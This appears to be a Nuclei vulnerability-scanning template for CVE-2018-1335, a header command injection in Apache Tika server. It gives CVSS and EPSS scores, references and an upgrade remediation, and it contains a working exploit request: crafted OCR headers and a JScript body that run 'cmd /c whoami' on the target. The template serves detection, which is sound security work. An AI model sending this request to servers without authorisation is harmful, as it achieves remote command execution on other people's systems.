Apache Tika < 1.1.8 - Header Command Injection

id: CVE-2018-1335

info:
  name: Apache Tika < 1.1.8 - Header Command Injection
  author: pikpikcu
  severity: high
  description: Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected server.
  remediation: Upgrade to Tika 1.18.
  reference:
    - https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/
    - https://www.exploit-db.com/exploits/47208
    - https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1335
    - http://packetstormsecurity.com/files/153864/Apache-Tika-1.17-Header-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-1335
    epss-score: 0.94106
    epss-percentile: 0.99837
    cpe: cpe:2.3:a:apache:tika:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: tika
  tags: cve,cve2018,packetstorm,edb,apache,tika,rce,intrusive,vkev,vuln

http:
  - method: PUT
    path:
      - "{{BaseURL}}/meta"

    body: var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec("cmd /c whoami");

    headers:
      X-Tika-OCRTesseractPath: cscript
      X-Tika-OCRLanguage: //E:Jscript
      Expect: 100-continue
      Content-type: image/jp2
      Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: text/csv"

      - type: word
        part: body
        words:
          - org.apache.tika.parser.DefaultParser
          - org.apache.tika.parser.gdal.GDALParse
        condition: and

      - type: status
        status:
          - 200
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